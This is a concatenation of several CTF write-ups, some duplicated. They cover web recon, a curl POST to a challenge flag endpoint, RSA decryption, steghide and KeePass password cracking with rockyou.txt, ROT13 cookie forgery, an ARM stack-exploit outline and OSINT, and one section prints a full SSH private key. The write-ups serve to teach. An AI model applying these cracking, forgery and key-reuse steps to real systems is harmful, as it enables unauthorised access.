Always check robots.txthttp://web.zh3r0.ml:6565/robots.txt```# F-SocietyUser-agent: *Disallow: /elliot.html```
visit elliot.html, see large gif, check sourcehttp://web.zh3r0.ml:6565/elliot.html```html```
Seems like we should check out the js on the page.```html<script src="myscript.js">```
http://web.zh3r0.ml:6565/myscript.js```js(![]+[])[+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]```is JSFuck and decodes into `fsocietyislit`, interesting let's take note of that and keep searching.
After more dirbusting we found /code and subsequently flag.php.We're met with:
`Elliot need to submit hash here to get the flag.`
Guessed that the parameter was code and submitted md5 of the string we found earlier.
```bashcurl "http://web.zh3r0.ml:6565/code/flag.php" --data "code=46a07f610bdab202d6b83d78a5d72914"
zh3r0{ell1ot_y0u_4r3_1n}``` |
# Master
## Tic Tac Toe```Can you beat the image?
Author : DreyAnd File: image```
It's un unknown file, we can try a `strings`:```$ strings image[...]FIFJ```
It seems to be a reversed jpg file, we reverse it with https://gchq.github.io/CyberChef/#recipe=Reverse('Character') and we get an image of a panties lmao
Then, we retry `strings` command:```strings image.jpg | headJFIF>aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01bHNvRkc3bXVQNAo=[...]```
There is a message in base64: `aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01bHNvRkc3bXVQNAo=` is `https://www.youtube.com/watch?v=5lsoFG7muP4`
It's video `Kapela - Rock My Way`, we can think about the `rockyou.txt` wordlist
And we try StegCracker (https://github.com/Paradoxis/StegCracker), a bruteforce software using steghide:```$ stegcracker image.jpgStegCracker 2.0.8 - (https://github.com/Paradoxis/StegCracker)Copyright (c) 2020 - Luke Paris (Paradoxis)
Counting lines in wordlist..Attacking file 'image.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..Successfully cracked file with password: spongebobTried 155 passwordsYour file has been written to: image.jpg.outspongebob```
Then, we got a file `image.jpg.out` and its content is:```$ cat image.jpg.out In [35]: n,e,ct,p+qOut[35]: (156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489, 65537,102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180,25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566)```
Yes, a cipher encrypt with RSA !
We have:```N = 156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489e = 65537ct = 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180p + q = 25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566```
We can get p and q by solving a small equation, we will use https://www.dcode.fr/solveur-equation for that and we get:```p = 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943q = 11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623```
Finally, we can decrypt the cipher:``` python$ pythonPython 2.7.18>>> p = 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943>>> q = 11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623>>> N = p * q>>> N == 156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180>>> plaintext = pow(cipher, d, N)>>> print plaintext844822306663494676182187532049398384884497750776412735948743460294840445>>> print hex(plaintext)[2:-1].decode('hex')zh3r0{W0ah_Y0u_W0n_k33p_1t_uP}```
The flag is: `zh3r0{W0ah_Y0u_W0n_k33p_1t_uP}` |
# Zh3r0 CTF Writeup by team bootplug
## void
```bash$ file output.wavoutput.wav: RIFF (little-endian) data, WAVE audio, mono 48000 Hz```
Google `wav "mono 48000 Hz" "ctf"` and we find http://g4ngli0s.logdown.com/posts/1422073-bsidessfctf-for-latlong. The spectrum analysis on that page looks exactly like the one we see in Audacity. Copy the commands they used, adapted to the file names used in this challenge.
```bash$ sox -t wav output.wav -esigned-integer -b16 -r 22050 -t raw output.raw$ ./multimon-ng -t raw -a AFSK1200 output.raw```Or do everything in one command:```bash$ cat output.wav | sox -t raw -esigned-integer -b 16 -r 48000 - -esigned-integer -b 16 -r 22050 -t raw - | multimon-ng -t raw -a AFSK1200 -f alpha -
multimon-ng 1.1.8 (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA (C) 2012-2019 by Elias OenalAvailable demodulators: POCSAG512 POCSAG1200 POCSAG2400 FLEX EAS UFSK1200 CLIPFSK FMSFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI1 ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUMPCSV X10 SCOPEEnabled demodulators: AFSK1200AFSK1200: fm WDPX01-0 to APRS-0 UI pid=F0!/;E'q/Sz'O /A=000000zh3r0{ax25_is_c00l__dm_me_the_solution}```
yielding the flag `zh3r0{ax25_is_c00l__dm_me_the_solution}`
## TearsWe - after brainstorming hundreds of different ways to understand the text - understood that we should use Tor. (Onions make us cry).
One teammate posted a wiki/index containing .onion URLs and a description of the site.
http://dirnxxdraygbifgc.onion/
From that site we found the forum by trying to find something like `galaxy` or `universe` that was mentioned in task description: http://galaxy3bhpzxecbywoa2j4tg43muepnhfalars4cce3fcx46qlc6t3id.onion/
And then this one by looking for the obvious username from the task description `un1v3rsek1ng`:http://galaxy3bhpzxecbywoa2j4tg43muepnhfalars4cce3fcx46qlc6t3id.onion/profile/un1v3rsek1ng
Found loads of fake pictures because someone sabotaged us :'(, but eventually found the right picture.
Then figured the pieces of text on the picture was base85, put the pieces together, decoded it and got the flag.
Base85 of `H>#*T0RGKkBeXFG?Xe%1DJ*<n1LG5[1idYE0P4[%Ed<'` is
`zh3r0{0ni0ns_br1ng_m3_t34rs_0f_cry}`
## fsociety
Always check robots.txthttp://web.zh3r0.ml:6565/robots.txt```# F-SocietyUser-agent: *Disallow: /elliot.html```
visit elliot.html, see large gif, check sourcehttp://web.zh3r0.ml:6565/elliot.html```html<img src="elliot.gif" alt="check my js " id="selector">```
Seems like we should check out the js on the page.```html<script src="myscript.js">```
http://web.zh3r0.ml:6565/myscript.js```js(![]+[])[+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]```is JSFuck and decodes into `fsocietyislit`, interesting let's take note of that and keep searching.
After more dirbusting we found /code and subsequently flag.php.We're met with:
`Elliot need to submit hash here to get the flag.`
Guessed that the parameter was code and submitted md5 of the string we found earlier.
```bashcurl "http://web.zh3r0.ml:6565/code/flag.php" --data "code=46a07f610bdab202d6b83d78a5d72914"
zh3r0{ell1ot_y0u_4r3_1n}```
## armpw
QEMU stack is executeable
1. leak stack addr2. leak stack cookie3. return to shellcode on the stack
## KnockPort scan, find list of ports. Hint on port 3389, a "main" webserver at port 80 and different webservers at the following ports, all returning a static website. Combining the hint, and sorting the port numbers (sans 80 and 3339), we get the flag with the script below. All the ports were within ASCII range.
```pythonport_sort = [48, 49, 51, 52, 89, 95, 100, 101, 104, 105, 108, 110, 111, 114, 116, 117, 122, 123, 125]
# From the hintorder = [(0, 4), (1, 16), (2, 2), (3, 11), (4, 6), (5, 9), (6, 15), (7, 14), (8, 1), (9, 12), (10, 13), (11, 10), (12, 7), (13, 3), (14, 17), (15, 8), (16, 0), (17, 5), (18, 18)]
flag = [0]*19for flag_ix, index in order: print(flag_ix, index) flag[index] = chr(port_sort[flag_ix])print(''.join(flag))```
Flag `zh3r0{You_n4iled1t}` |
# Forensics
## Microsooft```We have to use Microsoft Word at the office!? Oof...
Download the file below.Files: microsooft.docx```We extract files in `microsooft.docx` and we see if flag is write in plaintext:```$ grep -R flagsrc/oof.txt: [...] flag{oof_is_right_why_gfxdata_though} [...]```
The flag is: `flag{oof_is_right_why_gfxdata_though}`
## Volatile```What was the flag again? I don't remember...
Download the file below.
Note, this flag is not in the usual format.
Large File Hosted with Google DriveFiles: memdump.raw```
`memdump.raw` is a memory dump, we will use volatility (https://github.com/volatilityfoundation/volatility) to analyse it
First af all, we get the profile of the memory dump:```vol -f memdump.raw imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/memdump.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x8276fc28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x82770c00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-04-20 21:16:55 UTC+0000 Image local date and time : 2020-04-20 14:16:55 -0700```We will use the profile: `Win7SP1x86_23418`
We don't know where to get the flag, so we try everything
And we finally fing the flag in console history:```vol -f memdump.raw --profile Win7SP1x86_23418 consolesVolatility Foundation Volatility Framework 2.6.1**************************************************ConsoleProcess: conhost.exe Pid: 3468Console: 0xc781c0 CommandHistorySize: 50HistoryBufferCount: 1 HistoryBufferMax: 4OriginalTitle: %SystemRoot%\system32\cmd.exeTitle: C:\Windows\system32\cmd.exeAttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c----CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x5cCmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}----Screen 0x2d62d8 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro} JCTF{nice_volatility_tricks_bro} C:\Users\JCTF> ```
The flag is: `JCTF{nice_volatility_tricks_bro}`
## Cow Pie```Ew. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.Files: manure````manure` is a `QEMU QCOW2 Image`
But before all, we try to see if flag is write in plaintext:```$ strings manure[...]flag{this_flag_says_mooo_what_say_you}[...]```
The flag is: `flag{this_flag_says_mooo_what_say_you}` |
## KnockPort scan, find list of ports. Hint on port 3389, a "main" webserver at port 80 and different webservers at the following ports, all returning a static website. Combining the hint, and sorting the port numbers (sans 80 and 3339), we get the flag with the script below. All the ports were within ASCII range.
```pythonport_sort = [48, 49, 51, 52, 89, 95, 100, 101, 104, 105, 108, 110, 111, 114, 116, 117, 122, 123, 125]
# From the hintorder = [(0, 4), (1, 16), (2, 2), (3, 11), (4, 6), (5, 9), (6, 15), (7, 14), (8, 1), (9, 12), (10, 13), (11, 10), (12, 7), (13, 3), (14, 17), (15, 8), (16, 0), (17, 5), (18, 18)]
flag = [0]*19for flag_ix, index in order: print(flag_ix, index) flag[index] = chr(port_sort[flag_ix])print(''.join(flag))```
Flag `zh3r0{You_n4iled1t}` |
With the help of `Sherlock` i was able to track down the username to the following site: `https://www.livelib.ru/reader/al3xandr0vich1van`
I translated the site so i could read and found a link in his bio to a googledrive image `https://drive.google.com/file/d/1KIwZxDwVoTXsuNQ_fakoW09xAsY0ipjh/view`
It seems to be some sort of cipher.**Pigpen cipher** which deciphers to `httpstwittercomhavevisit` -> [https://twitter.com/havevisit](https://twitter.com/havevisit)
after playing with `https://29a.ch/photo-forensics/#level-sweep` i got what i desired and used `tesseract` to extract the flag
## Flagzh3r0{y0u_b34t_d4_hax0r} |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
